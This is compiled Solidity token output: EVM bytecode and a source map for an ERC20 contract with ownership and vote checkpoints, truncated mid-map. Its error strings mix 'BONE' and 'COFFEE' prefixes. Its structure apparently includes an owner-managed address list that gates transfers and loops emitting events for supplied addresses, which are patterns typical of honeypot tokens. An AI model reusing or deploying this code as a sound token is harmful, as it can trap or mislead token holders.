673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46123fe8284836124d2565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561250e5750600081115b1561276e57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612640576000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116125b157600061261e565b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001846125ff9190613366565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000838261262e919061395f565b905061263c86848484612773565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461276d576000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116126de57600061274b565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018461272c9190613366565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000838261275b91906132a0565b905061276985848484612773565b5050505b5b505050565b600061279743604051806060016040528060368152602001613a8760369139612a76565b905060008463ffffffff1611801561283557508063ffffffff16600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001876127ff9190613366565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b156128af5781600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001876128899190613366565b63ffffffff1663ffffffff16815260200190815260200160002060010181905550612a1f565b60405180604001604052808263ffffffff16815260200183815250600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff1660018561296e9190613993565b63ffffffff16116129b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ab90613a3d565b60405180910390fd5b6001846129c19190613993565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612a67929190613a5d565b60405180910390a25050505050565b600064010000000083108290612ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ab99190612b5c565b60405180910390fd5b5082905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b06578082015181840152602081019050612aeb565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b2e82612acc565b612b388185612ad7565b9350612b48818560208601612ae8565b612b5181612b12565b840191505092915050565b60006020820190508181036000830152612b768184612b23565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612bb382612b88565b9050919050565b612bc381612ba8565b8114612bce57600080fd5b50565b600081359050612be081612bba565b92915050565b6000819050919050565b612bf981612be6565b8114612c0457600080fd5b50565b600081359050612c1681612bf0565b92915050565b60008060408385031215612c3357612c32612b7e565b5b6000612c4185828601612bd1565b9250506020612c5285828601612c07565b9150509250929050565b60008115159050919050565b612c7181612c5c565b82525050565b6000602082019050612c8c6000830184612c68565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612cb757612cb6612c92565b5b8235905067ffffffffffffffff811115612cd457612cd3612c97565b5b602083019150836020820283011115612cf057612cef612c9c565b5b9250929050565b60008060008060608587031215612d1157612d10612b7e565b5b600085013567ffffffffffffffff811115612d2f57612d2e612b83565b5b612d3b87828801612ca1565b94509450506020612d4e87828801612c07565b9250506040612d5f87828801612c07565b91505092959194509250565b612d7481612be6565b82525050565b6000602082019050612d8f6000830184612d6b565b92915050565b600060208284031215612dab57612daa612b7e565b5b6000612db984828501612bd1565b91505092915050565b6000819050919050565b612dd581612dc2565b82525050565b6000602082019050612df06000830184612dcc565b92915050565b600080600060608486031215612e0f57612e0e612b7e565b5b6000612e1d86828701612bd1565b9350506020612e2e86828701612bd1565b9250506040612e3f86828701612c07565b9150509250925092565b600060ff82169050919050565b612e5f81612e49565b82525050565b6000602082019050612e7a6000830184612e56565b92915050565b60008060208385031215612e9757612e96612b7e565b5b600083013567ffffffffffffffff811115612eb557612eb4612b83565b5b612ec185828601612ca1565b92509250509250929050565b612ed681612ba8565b82525050565b6000602082019050612ef16000830184612ecd565b92915050565b600063ffffffff82169050919050565b612f1081612ef7565b82525050565b6000602082019050612f2b6000830184612f07565b92915050565b60008083601f840112612f4757612f46612c92565b5b8235905067ffffffffffffffff811115612f6457612f63612c97565b5b602083019150836020820283011115612f8057612f7f612c9c565b5b9250929050565b60008060008060008060608789031215612fa457612fa3612b7e565b5b600087013567ffffffffffffffff811115612fc257612fc1612b83565b5b612fce89828a01612ca1565b9650965050602087013567ffffffffffffffff811115612ff157612ff0612b83565b5b612ffd89828a01612ca1565b9450945050604087013567ffffffffffffffff8111156130205761301f612b83565b5b61302c89828a01612f31565b92509250509295509295509295565b6000806040838503121561305257613051612b7e565b5b600061306085828601612bd1565b925050602061307185828601612bd1565b9150509250929050565b61308481612ef7565b811461308f57600080fd5b50565b6000813590506130a18161307b565b92915050565b600080604083850312156130be576130bd612b7e565b5b60006130cc85828601612bd1565b92505060206130dd85828601613092565b9150509250929050565b60006040820190506130fc6000830185612f07565b6131096020830184612d6b565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061315757607f821691505b60208210810361316a57613169613110565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b60006131ce6131c96131c48461319f565b6131a9565b612be6565b9050919050565b6131de816131b3565b82525050565b60006080820190506131f960008301876131d5565b6132066020830186612d6b565b6132136040830185612d6b565b61322060608301846131d5565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061326382612be6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361329557613294613229565b5b600182019050919050565b60006132ab82612be6565b91506132b683612be6565b92508282019050808211156132ce576132cd613229565b5b92915050565b7f424f4e453a3a6765745072696f72566f7465733a206e6f74207965742064657460008201527f65726d696e656400000000000000000000000000000000000000000000000000602082015250565b6000613330602783612ad7565b915061333b826132d4565b604082019050919050565b6000602082019050818103600083015261335f81613323565b9050919050565b600061337182612ef7565b915061337c83612ef7565b9250828203905063ffffffff81111561339857613397613229565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133d882612ef7565b91506133e383612ef7565b9250826133f3576133f261339e565b5b828204905092915050565b60006080820190506134136000830187612d6b565b61342060208301866131d5565b61342d60408301856131d5565b61343a6060830184612d6b565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061349f602583612ad7565b91506134aa82613443565b604082019050919050565b600060208201905081810360008301526134ce81613492565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613531602683612ad7565b915061353c826134d5565b604082019050919050565b6000602082019050818103600083015261356081613524565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006135c3602483612ad7565b91506135ce82613567565b604082019050919050565b600060208201905081810360008301526135f2816135b6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613655602283612ad7565b9150613660826135f9565b604082019050919050565b6000602082019050818103600083015261368481613648565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006136c1602083612ad7565b91506136cc8261368b565b602082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061372d601d83612ad7565b9150613738826136f7565b602082019050919050565b6000602082019050818103600083015261375c81613720565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006137bf602583612ad7565b91506137ca82613763565b604082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612ad7565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006138e3602683612ad7565b91506138ee82613887565b604082019050919050565b60006020820190508181036000830152613912816138d6565b9050919050565b50565b6000613929600083612ad7565b915061393482613919565b600082019050919050565b600060208201905081810360008301526139588161391c565b9050919050565b600061396a82612be6565b915061397583612be6565b925082820390508181111561398d5761398c613229565b5b92915050565b600061399e82612ef7565b91506139a983612ef7565b9250828201905063ffffffff8111156139c5576139c4613229565b5b92915050565b7f434f464645453a3a5f7772697465436865636b706f696e743a206e657720636860008201527f65636b706f696e74206578636565647320333220626974730000000000000000602082015250565b6000613a27603883612ad7565b9150613a32826139cb565b604082019050919050565b60006020820190508181036000830152613a5681613a1a565b9050919050565b6000604082019050613a726000830185612d6b565b613a7f6020830184612d6b565b939250505056fe434f464645453a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473a2646970667358221220f3a5a9d39f68e9c568374f7ea8cf738e3500bbd241674f1b23fcc58da0a2ab9b64736f6c63430008120033

37033:6452:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9233:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13916:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11566:343;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12685:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9085:78;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;38005:122;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14697:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12505:115;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10195:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15401:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12285:212;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;38777:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;39038:104;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;37515:49;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12856:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12044:233;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6062:103;;;:::i;:::-;;10296:278;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;39573:1212;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11266:292;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;38208:39;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5421:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9452:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10582:291;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16142:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10881:377;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13189:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;40986:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11917:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13445:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37815:117;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37647:70;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;6320:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9233:100;9287:13;9320:5;9313:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9233:100;:::o;13916:201::-;13999:4;14016:13;14032:12;:10;:12::i;:::-;14016:28;;14055:32;14064:5;14071:7;14080:6;14055:8;:32::i;:::-;14105:4;14098:11;;;13916:201;;;;:::o;11566:343::-;11682:9;11677:225;11701:11;;:18;;11697:1;:22;11677:225;;;11774:11;;11786:1;11774:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11746:43;;11751:4;;;;;;;;;;;11746:43;;;11757:1;11760:3;11765:4;11771:1;11746:43;;;;;;;;;:::i;:::-;;;;;;;;11834:4;;;;;;;;;;;11809:35;;11818:11;;11830:1;11818:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11809:35;;;11840:3;11809:35;;;;;;:::i;:::-;;;;;;;;11879:5;;;;;;;;;;;11864:26;;11873:4;;;;;;;;;;;11864:26;;;11886:3;11864:26;;;;;;:::i;:::-;;;;;;;;11721:3;;;;;:::i;:::-;;;;11677:225;;;;11566:343;;;;:::o;12685:108::-;12746:7;12773:12;;12766:19;;12685:108;:::o;9085:78::-;5307:13;:11;:13::i;:::-;9151:4:::1;9143:5;;:12;;;;;;;;;;;;;;;;;;9085:78:::0;:::o;38005:122::-;38047:80;38005:122;:::o;14697:295::-;14828:4;14845:15;14863:12;:10;:12::i;:::-;14845:30;;14886:38;14902:4;14908:7;14917:6;14886:15;:38::i;:::-;14935:27;14945:4;14951:2;14955:6;14935:9;:27::i;:::-;14980:4;14973:11;;;14697:295;;;;;:::o;12505:115::-;12562:4;12586:15;:26;12602:9;12586:26;;;;;;;;;;;;;;;;;;;;;;;;;12579:33;;12505:115;;;:::o;10195:93::-;10253:5;10278:2;10271:9;;10195:93;:::o;15401:238::-;15489:4;15506:13;15522:12;:10;:12::i;:::-;15506:28;;15545:64;15554:5;15561:7;15598:10;15570:25;15580:5;15587:7;15570:9;:25::i;:::-;:38;;;;:::i;:::-;15545:8;:64::i;:::-;15627:4;15620:11;;;15401:238;;;;:::o;12285:212::-;5307:13;:11;:13::i;:::-;12380:9:::1;12375:115;12399:11;;:18;;12395:1;:22;12375:115;;;12473:5;12439:15;:31;12455:11;;12467:1;12455:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12439:31;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;12419:3;;;;;:::i;:::-;;;;12375:115;;;;12285:212:::0;;:::o;38777:117::-;38838:7;38865:10;:21;38876:9;38865:21;;;;;;;;;;;;;;;;;;;;;;;;;38858:28;;38777:117;;;:::o;39038:104::-;39102:32;39112:10;39124:9;39102;:32::i;:::-;39038:104;:::o;37515:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;12856:127::-;12930:7;12957:9;:18;12967:7;12957:18;;;;;;;;;;;;;;;;12950:25;;12856:127;;;:::o;12044:233::-;12165:9;12160:110;12184:5;;:12;;12180:1;:16;12160:110;;;12242:3;;12246:1;12242:6;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12223:35;;12232:5;;12238:1;12232:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12223:35;;;12250:4;;12255:1;12250:7;;;;;;;:::i;:::-;;;;;;;;12223:35;;;;;;:::i;:::-;;;;;;;;12198:3;;;;;:::i;:::-;;;;12160:110;;;;12044:233;;;;;;:::o;6062:103::-;5307:13;:11;:13::i;:::-;6127:30:::1;6154:1;6127:18;:30::i;:::-;6062:103::o:0;10296:278::-;5307:13;:11;:13::i;:::-;10381:9:::1;10376:191;10400:11;;:18;;10396:1;:22;10376:191;;;10474:4;10440:15;:31;10456:11;;10468:1;10456:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10440:31;;;;;;;;;;;;;;;;:38;;;;;;;;;;;;;;;;;;10523:4;;;;;;;;;;;10498:57;;10507:11;;10519:1;10507:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10498:57;;;10529:25;10539:11;;10551:1;10539:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10529:9;:25::i;:::-;10498:57;;;;;;:::i;:::-;;;;;;;;10420:3;;;;;:::i;:::-;;;;10376:191;;;;10296:278:::0;;:::o;39573:1212::-;39654:7;39695:12;39681:11;:26;39673:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;39762:19;39784:14;:23;39799:7;39784:23;;;;;;;;;;;;;;;;;;;;;;;;;39762:45;;39838:1;39822:12;:17;;;39818:58;;39863:1;39856:8;;;;;39818:58;39986:11;39934;:20;39946:7;39934:20;;;;;;;;;;;;;;;:38;39970:1;39955:12;:16;;;;:::i;:::-;39934:38;;;;;;;;;;;;;;;:48;;;;;;;;;;;;:63;;;39930:147;;40021:11;:20;40033:7;40021:20;;;;;;;;;;;;;;;:38;40057:1;40042:12;:16;;;;:::i;:::-;40021:38;;;;;;;;;;;;;;;:44;;;40014:51;;;;;39930:147;40172:11;40136;:20;40148:7;40136:20;;;;;;;;;;;;;;;:23;40157:1;40136:23;;;;;;;;;;;;;:33;;;;;;;;;;;;:47;;;40132:88;;;40207:1;40200:8;;;;;40132:88;40230:12;40257;40287:1;40272:12;:16;;;;:::i;:::-;40257:31;;40299:428;40314:5;40306:13;;:5;:13;;;40299:428;;;40336:13;40378:1;40369:5;40361;:13;;;;:::i;:::-;40360:19;;;;:::i;:::-;40352:5;:27;;;;:::i;:::-;40336:43;;40421:20;40444:11;:20;40456:7;40444:20;;;;;;;;;;;;;;;:28;40465:6;40444:28;;;;;;;;;;;;;;;40421:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;40507:11;40491:2;:12;;;:27;;;40487:229;;40546:2;:8;;;40539:15;;;;;;;;;40487:229;40595:11;40580:2;:12;;;:26;;;40576:140;;;40635:6;40627:14;;40576:140;;;40699:1;40690:6;:10;;;;:::i;:::-;40682:18;;40576:140;40321:406;;40299:428;;;40744:11;:20;40756:7;40744:20;;;;;;;;;;;;;;;:27;40765:5;40744:27;;;;;;;;;;;;;;;:33;;;40737:40;;;;;39573:1212;;;;;:::o;11266:292::-;11370:9;11365:186;11389:11;;:18;;11385:1;:22;11365:186;;;11468:11;;11480:1;11468:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11434:49;;11439:10;;;;;;;;;;;11434:49;;;11451:1;11454:3;11459:4;11465:1;11434:49;;;;;;;;;:::i;:::-;;;;;;;;11528:5;;;;;;;;;;;11503:36;;11512:11;;11524:1;11512:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11503:36;;;11535:3;11503:36;;;;;;:::i;:::-;;;;;;;;11409:3;;;;;:::i;:::-;;;;11365:186;;;;11266:292;;;;:::o;38208:39::-;;;;;;;;;;;;;;;;;:::o;5421:87::-;5467:7;5494:6;;;;;;;;;;;5487:13;;5421:87;:::o;9452:104::-;9508:13;9541:7;9534:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9452:104;:::o;10582:291::-;10684:9;10679:187;10703:11;;:18;;10699:1;:22;10679:187;;;10782:11;;10794:1;10782:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10748:49;;10753:10;;;;;;;;;;;10748:49;;;10765:3;10770:1;10773;10776:4;10748:49;;;;;;;;;:::i;:::-;;;;;;;;10833:11;;10845:1;10833:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10817:37;;10826:5;;;;;;;;;;;10817:37;;;10849:4;10817:37;;;;;;:::i;:::-;;;;;;;;10723:3;;;;;:::i;:::-;;;;10679:187;;;;10582:291;;;;:::o;16142:436::-;16235:4;16252:13;16268:12;:10;:12::i;:::-;16252:28;;16291:24;16318:25;16328:5;16335:7;16318:9;:25::i;:::-;16291:52;;16382:15;16362:16;:35;;16354:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;16475:60;16484:5;16491:7;16519:15;16500:16;:34;16475:8;:60::i;:::-;16566:4;16559:11;;;;16142:436;;;;:::o;10881:377::-;11029:9;11024:227;11048:11;;:18;;11044:1;:22;11024:227;;;11121:11;;11133:1;11121:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11093:43;;11098:4;;;;;;;;;;;11093:43;;;11104:3;11109:1;11112;11115:4;11093:43;;;;;;;;;:::i;:::-;;;;;;;;11172:4;;;;;;;;;;;11156:27;;11165:5;;;;;;;;;;;11156:27;;;11178:4;11156:27;;;;;;:::i;:::-;;;;;;;;11218:11;;11230:1;11218:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11203:36;;11212:4;;;;;;;;;;;11203:36;;;11234:4;11203:36;;;;;;:::i;:::-;;;;;;;;11068:3;;;;;:::i;:::-;;;;11024:227;;;;10881:377;;;;:::o;13189:193::-;13268:4;13285:13;13301:12;:10;:12::i;:::-;13285:28;;13324;13334:5;13341:2;13345:6;13324:9;:28::i;:::-;13370:4;13363:11;;;13189:193;;;;:::o;40986:222::-;41051:7;41070:19;41092:14;:23;41107:7;41092:23;;;;;;;;;;;;;;;;;;;;;;;;;41070:45;;41148:1;41133:12;:16;;;:67;;41199:1;41133:67;;;41152:11;:20;41164:7;41152:20;;;;;;;;;;;;;;;:38;41188:1;41173:12;:16;;;;:::i;:::-;41152:38;;;;;;;;;;;;;;;:44;;;41133:67;41126:74;;;40986:222;;;:::o;11917:119::-;12018:3;12002:26;;12011:5;12002:26;;;12023:4;12002:26;;;;;;:::i;:::-;;;;;;;;11917:119;;;:::o;13445:151::-;13534:7;13561:11;:18;13573:5;13561:18;;;;;;;;;;;;;;;:27;13580:7;13561:27;;;;;;;;;;;;;;;;13554:34;;13445:151;;;;:::o;37815:117::-;37861:71;37815:117;:::o;37647:70::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6320:201::-;5307:13;:11;:13::i;:::-;6429:1:::1;6409:22;;:8;:22;;::::0;6401:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6485:28;6504:8;6485:18;:28::i;:::-;6320:201:::0;:::o;4130:98::-;4183:7;4210:10;4203:17;;4130:98;:::o;20275:380::-;20428:1;20411:19;;:5;:19;;;20403:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;20509:1;20490:21;;:7;:21;;;20482:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;20593:6;20563:11;:18;20575:5;20563:18;;;;;;;;;;;;;;;:27;20582:7;20563:27;;;;;;;;;;;;;;;:36;;;;20631:7;20615:32;;20624:5;20615:32;;;20640:6;20615:32;;;;;;:::i;:::-;;;;;;;;20275:380;;;:::o;5586:132::-;5661:12;:10;:12::i;:::-;5650:23;;:7;:5;:7::i;:::-;:23;;;5642:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5586:132::o;20946:453::-;21081:24;21108:25;21118:5;21125:7;21108:9;:25::i;:::-;21081:52;;21168:17;21148:16;:37;21144:248;;21230:6;21210:16;:26;;21202:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;21314:51;21323:5;21330:7;21358:6;21339:16;:25;21314:8;:51::i;:::-;21144:248;21070:329;20946:453;;;:::o;17048:946::-;17195:1;17179:18;;:4;:18;;;17171:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17272:1;17258:16;;:2;:16;;;17250:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;17327:38;17348:4;17354:2;17358:6;17327:20;:38::i;:::-;17378:19;17400:9;:15;17410:4;17400:15;;;;;;;;;;;;;;;;17378:37;;17449:6;17434:11;:21;;17426:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;17566:6;17552:11;:20;17534:9;:15;17544:4;17534:15;;;;;;;;;;;;;;;:38;;;;17769:6;17752:9;:13;17762:2;17752:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;17801:15;:21;17817:4;17801:21;;;;;;;;;;;;;;;;;;;;;;;;;:44;;;;17826:15;:19;17842:2;17826:19;;;;;;;;;;;;;;;;;;;;;;;;;17801:44;17797:93;;;17881:4;17855:30;;:22;;;;;;;;;;;:30;;;17847:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;17797:93;17925:2;17910:26;;17919:4;17910:26;;;17929:6;17910:26;;;;;;:::i;:::-;;;;;;;;17949:37;17969:4;17975:2;17979:6;17949:19;:37::i;:::-;17160:834;17048:946;;;:::o;41216:376::-;41293:23;41319:10;:21;41330:9;41319:21;;;;;;;;;;;;;;;;;;;;;;;;;41293:47;;41351:24;41378:20;41388:9;41378;:20::i;:::-;41351:47;;41434:9;41410:10;:21;41421:9;41410:21;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;41503:9;41459:54;;41486:15;41459:54;;41475:9;41459:54;;;;;;;;;;;;41524:60;41539:15;41556:9;41567:16;41524:14;:60::i;:::-;41282:310;;41216:376;;:::o;6681:191::-;6755:16;6774:6;;;;;;;;;;;6755:25;;6800:8;6791:6;;:17;;;;;;;;;;;;;;;;;;6855:8;6824:40;;6845:8;6824:40;;;;;;;;;;;;6744:128;6681:191;:::o;22731:125::-;;;;:::o;22003:124::-;;;;:::o;42372:941::-;42478:6;42468:16;;:6;:16;;;;:30;;;;;42497:1;42488:6;:10;42468:30;42464:842;;;42537:1;42519:20;;:6;:20;;;42515:382;;42608:16;42627:14;:22;42642:6;42627:22;;;;;;;;;;;;;;;;;;;;;;;;;42608:41;;42668:17;42700:1;42688:9;:13;;;:60;;42747:1;42688:60;;;42704:11;:19;42716:6;42704:19;;;;;;;;;;;;;;;:34;42736:1;42724:9;:13;;;;:::i;:::-;42704:34;;;;;;;;;;;;;;;:40;;;42688:60;42668:80;;42767:17;42799:6;42787:9;:18;;;;:::i;:::-;42767:38;;42824:57;42841:6;42849:9;42860;42871;42824:16;:57::i;:::-;42541:356;;;42515:382;42935:1;42917:20;;:6;:20;;;42913:382;;43006:16;43025:14;:22;43040:6;43025:22;;;;;;;;;;;;;;;;;;;;;;;;;43006:41;;43066:17;43098:1;43086:9;:13;;;:60;;43145:1;43086:60;;;43102:11;:19;43114:6;43102:19;;;;;;;;;;;;;;;:34;43134:1;43122:9;:13;;;;:::i;:::-;43102:34;;;;;;;;;;;;;;;:40;;;43086:60;43066:80;;43165:17;43197:6;43185:9;:18;;;;:::i;:::-;43165:38;;43222:57;43239:6;43247:9;43258;43269;43222:16;:57::i;:::-;42939:356;;;42913:382;42464:842;42372:941;;;:::o;41600:764::-;41722:18;41743:78;41750:12;41743:78;;;;;;;;;;;;;;;;;:6;:78::i;:::-;41722:99;;41853:1;41838:12;:16;;;:85;;;;;41912:11;41858:65;;:11;:22;41870:9;41858:22;;;;;;;;;;;;;;;:40;41896:1;41881:12;:16;;;;:::i;:::-;41858:40;;;;;;;;;;;;;;;:50;;;;;;;;;;;;:65;;;41838:85;41834:454;;;41989:8;41940:11;:22;41952:9;41940:22;;;;;;;;;;;;;;;:40;41978:1;41963:12;:16;;;;:::i;:::-;41940:40;;;;;;;;;;;;;;;:46;;:57;;;;41834:454;;;42069:33;;;;;;;;42080:11;42069:33;;;;;;42093:8;42069:33;;;42030:11;:22;42042:9;42030:22;;;;;;;;;;;;;;;:36;42053:12;42030: